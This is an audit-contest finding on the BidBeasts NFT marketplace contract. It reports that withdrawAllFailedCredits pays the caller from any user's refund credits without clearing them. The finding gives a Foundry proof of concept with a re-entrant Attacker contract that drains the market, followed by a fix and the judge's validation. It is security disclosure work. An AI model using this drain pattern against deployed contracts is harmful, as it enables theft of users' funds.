Bid Beasts
First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Broken Access Control in `BidBeastsNFTMarket::withdrawAllFailedCredits` Leading to Theft of the Market's Funds

aliismakh

Broken Access Control in BidBeastsNFTMarket::withdrawAllFailedCredits Leading to Theft of the Market's Funds

Description

  • The withdrawAllFailedCredits function in the BidBeastsNFTMarket smart contract contains a critical authorization flaw. The function is designed to allow users to reclaim funds from bids that failed to be returned (e.g., when an outbid user is a contract that cannot receive Ether).

  • However, the function incorrectly uses the _receiver parameter to identify which credit balance to withdraw while unconditionally sending the funds to the function's caller (msg.sender). It never validates if msg.sender is the legitimate owner of the credits associated with the _receiver address. This creates a scenario where any malicious actor can drain the pending refunds of any other user by simply passing the victim's address as the _receiver argument.

@> function withdrawAllFailedCredits(address _receiver) external {
@> uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}

Risk

Likelihood: High

  • The vulnerability is trivial to exploit. An attacker only needs to identify an address with a non-zero failedTransferCredits balance, which is public data on the blockchain. The attack requires no special privileges or complex conditions, only a single transaction call.

Impact: High

  • The impact is a direct and irreversible loss of user funds held within the contract. Since the function's purpose is to handle refunds, a significant amount of Ether could be vulnerable at any given time, leading to a complete drain of the contract's refund liquidity and severe reputational damage.

Proof of Concept

  1. REJECTOR_1 (a contract that can't receive ETH) bids.

  2. REJECTOR_2 outbids. The refund to REJECTOR_1 will fail, creating a credit.

  3. BIDDER_1 buys the NFT. The refund to REJECTOR_2 will fail, creating another credit.

  4. THE ATTACK: Attacker calls the vulnerable function with REJECTOR_1's address; the contract will be sending the REJECTOR_1's credits to the attacker up to when the market's balance is < REJECTOR_1'S credits.

The following Foundry test case demonstrates the vulnerability:

// Add these codes to BidBeastsMarketPlaceTest.t.sol
​
contract Attacker {
BidBeastsNFTMarket public BBNFTMarket;
RejectEther public rejector;
​
constructor(address _BBNFTMarketAdd, address _rejector) {
BBNFTMarket = BidBeastsNFTMarket(_BBNFTMarketAdd);
rejector = RejectEther(_rejector);
}
​
fallback() external payable {
uint256 amount = BBNFTMarket.failedTransferCredits(address(rejector));
if (address(BBNFTMarket).balance >= amount) {
BBNFTMarket.withdrawAllFailedCredits(address(rejector));
}
}
}
​
// Also, in the BidBeastsNFTMarketTest contract, i.e:
​
contract BidBeastsNFTMarketTest is Test {
// Add these:
.
.
RejectEther rejector_1;
RejectEther rejector_2;
Attacker attacker;
.
.
address public REJECTOR_1;
address public REJECTOR_2;
.
.
function setUp() public {
// Deploy contracts
vm.startPrank(OWNER);
.
.
rejector_1 = new RejectEther();
REJECTOR_1 = address(rejector_1);
rejector_2 = new RejectEther();
REJECTOR_2 = address(rejector_2);
attacker = new Attacker(address(market), REJECTOR_1);
​
vm.stopPrank();
​
// Fund users
.
.
vm.deal(REJECTOR_1, STARTING_BALANCE);
vm.deal(REJECTOR_2, STARTING_BALANCE);
}
​
/*//////////////////////////////////////////////////////////////
CAN DRAINED CONTRACT'S FUNDS
//////////////////////////////////////////////////////////////*/
​
function test_CanDrainedTheMarketFundsByMultipleWithdrawOfTheSameCredit() public {
_mintNFT();
_listNFT();
​
uint256 rejector1BidAmount = MIN_PRICE * 2; // 2 ether
uint256 rejector2BidAmount = MIN_PRICE * 3; // 3 ether
​
// 1. REJECTOR_1 (a contract that can't receive ETH) bids.
vm.prank(REJECTOR_1);
market.placeBid{value: rejector1BidAmount}(TOKEN_ID);
​
// 2. REJECTOR_2 outbids. The refund to REJECTOR_1 will fail, creating a credit.
vm.prank(REJECTOR_2);
market.placeBid{value: rejector2BidAmount}(TOKEN_ID);
assertEq(market.failedTransferCredits(REJECTOR_1), rejector1BidAmount);
​
// 3. BIDDER_1 buys the NFT. The refund to REJECTOR_2 will fail, creating another credit.
vm.prank(BIDDER_1);
market.placeBid{value: BUY_NOW_PRICE}(TOKEN_ID);
assertEq(market.failedTransferCredits(REJECTOR_2), rejector2BidAmount);
​
// 4. Calculate the correct expected balance BEFORE the attack
uint256 saleFee = (BUY_NOW_PRICE * market.S_FEE_PERCENTAGE()) / 100;
uint256 expectedMarketBalanceBeforeAttack = rejector1BidAmount + rejector2BidAmount + saleFee;
uint256 actualMarketBalanceBeforeAttack = address(market).balance;
​
// Verify the market balance before the attack.
assertEq(
actualMarketBalanceBeforeAttack,
expectedMarketBalanceBeforeAttack,
"Market balance before attack is incorrect"
);
​
uint256 attackerBalanceBeforeAttack = address(attacker).balance;
​
// 5. THE ATTACK: Attacker calls the vulnerable function with REJECTOR_1's address
// The contract will send REJECTOR_1's credits (2 ether) to the attacker.
vm.prank(address(attacker));
market.withdrawAllFailedCredits(REJECTOR_1);
​
// 6. Verify the results of the attack
uint256 attackerBalanceAfterAttack = address(attacker).balance;
uint256 actualMarketBalanceAfterAttack = address(market).balance;
uint256 stolenAmount = actualMarketBalanceBeforeAttack - actualMarketBalanceAfterAttack;
​
// Attacker's balance should have increased by the stolen amount.
assertEq(
attackerBalanceAfterAttack,
attackerBalanceBeforeAttack + stolenAmount,
"Attacker did not receive the stolen funds"
);
​
// Market's balance should have decreased by the stolen amount.
assertEq(
actualMarketBalanceAfterAttack,
expectedMarketBalanceBeforeAttack - stolenAmount,
"Market balance was not debited correctly"
);
​
// Crucially, the victim's credit remains, as the bug only clears the attacker's (msg.sender) credit.
// This is why the contract can be drained multiple times for the same credit.
assertEq(
market.failedTransferCredits(REJECTOR_1), rejector1BidAmount, "Victim's credit should not have been cleared"
);
assert(actualMarketBalanceAfterAttack < rejector1BidAmount);
}
}
​

Recommended Mitigation

To resolve this vulnerability, the withdrawAllFailedCredits function must be modified to only operate on behalf of msg.sender. It should not accept an external address to determine which credit to withdraw. By tying the credit lookup and the payment directly to the caller, you ensure that users can only withdraw their own funds.

- function withdrawAllFailedCredits(address _receiver) external {
+ function withdrawAllFailedCredits() external {
- uint256 amount = failedTransferCredits[_receiver];
+ uint256 amount = failedTransferCredits[msg.sender];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
Updates

Lead Judging Commences

cryptoghost Lead Judge 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!